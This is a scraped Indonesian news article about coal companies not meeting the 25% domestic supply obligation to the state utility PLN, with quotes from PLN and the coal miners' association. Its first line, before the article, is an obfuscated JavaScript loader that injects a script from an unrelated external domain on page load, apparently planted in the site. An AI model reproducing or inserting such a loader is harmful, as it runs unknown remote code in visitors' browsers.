(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kapal tongkang pengangkut batu bara saat melintas di Sungai Musi, Palembang, Sumatera Selatan, Rabu (7/3). Kementerian ESDM mengatakan Harga Batu Bara Acuan (HBA) Maret 2018 mengalami kenaikan 1,16 persen, dari US$100,69 per ton pada bulan Februari 2018 menjadi US$101,86 per ton dan menjadi HBA tertinggi sejak Mei 2012. ANTARA FOTO/Nova Wahyudi/foc/18.
JAKARTA, Berdasarkan Keputusan Menteri (Kepmen) ESDM nomor 23K/30/MEM/2018, perusahaan pertambangan batubara wajib menjual 25% produksinya untuk kepentingan dalam negeri (Domestic Market Obligation/DMO), dalam hal ini untuk PLN.
Kebutuhan batu bara untuk pembangkit listrik tenaga uap (PLTU) tahun 2018 berdasarkan Rencana Usaha Penyediaan Tenaga Listrik (RUPTL) PLN 2018-2027 sebanyak 92 juta ton. Jika seluruh perusahaan batu bara mematuhi aturan, PLN akan mendapatkan pasokan mencapai 121 juta ton batubara.
Namun, masih banyak perusahaan tambang yang belum memenuhi kewajiban DMO tersebut. Dampaknya, pasokan batubara untuk pembangkit listrik PLN jadi tak optimal. Demikian dilansir Kumparan.com.
Terkait hal ini, Direktur Utama PLN Sofyan Basyir mengaku telah mengirim surat ke Direktur Jenderal Mineral dan Batubara Kementerian ESDM, Bambang Gatot Ariyono. PLN meminta agar pemerintah menegakkan aturan kewajiban DMO sebesar 25% dari batu bara yang diproduksi. “Ya (komunikasi) ke Pak Bambang Gatot. Dikirim surat, dipanggil. Begitu prosesnya,†kata Sofyan saat ditemui di Gedung DPR RI, Jakarta, Senin (9/7).
Pihaknya ingin pemerintah mengambil langkah untuk mendisiplinkan perusahaan-perusahaan pemegang Izin Usaha Pertambangan (IUP) yang tak menjalankan kewajiban DMO.
Sofyan mengungkapkan, perusahaan-perusahaan tambang batu bara yang nakal itu bukan perusahaan besar yang memegang Perjanjian Karya Pengusahaan Pertambangan Batu Bara (PKP2B).
“Bukan dari pengusaha besar, ini pengusaha IUP-IUP ini. Ini belum disiplin. Harus didisiplinkan. Perkirakan kan, monitoring harian, setiap PKP2B hampir disiplin lah. IUP yang belum disiplin penuh. Ini kan ditegur sama Pak Dirjen (Bambang Gatot Ariyono),†katanya.
Asosiasi Pertambangan Batubara Indonesia (APBI) menyatakan, tak semua pengusaha batu bara bisa menjalankan kewajiban DMO sebesar 25% dari rencana produksi. Sebab, ada produsen batu bara yang lebih banyak memproduksi batu bara dengan kalori tinggi di atas 5.000 kcal/kg. Sementara batu bara yang dibutuhkan PLN berbeda spesifikasinya, yakni batu bara dengan kalori 4.200 kcal/kg-5.000 kcal/kg.
“Tentu tidak semua produsen spek batu baranya memenuhi kebutuhan yang diperlukan oleh PLN,” kata Direktur Eksekutif APBI, Hendra Sinadia.
Untuk mengatasi masalah ini, pemerintah sebenarnya telah membuka opsi transfer kuota bagi perusahaan tambang yang spesifikasi batu baranya tak sesuai kebutuhan PLN. Transfer kuota dilakukan dengan cara membeli batu bara kalori rendah dari perusahaan tambang lain untuk dipasok ke PLN.(cel/kum)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.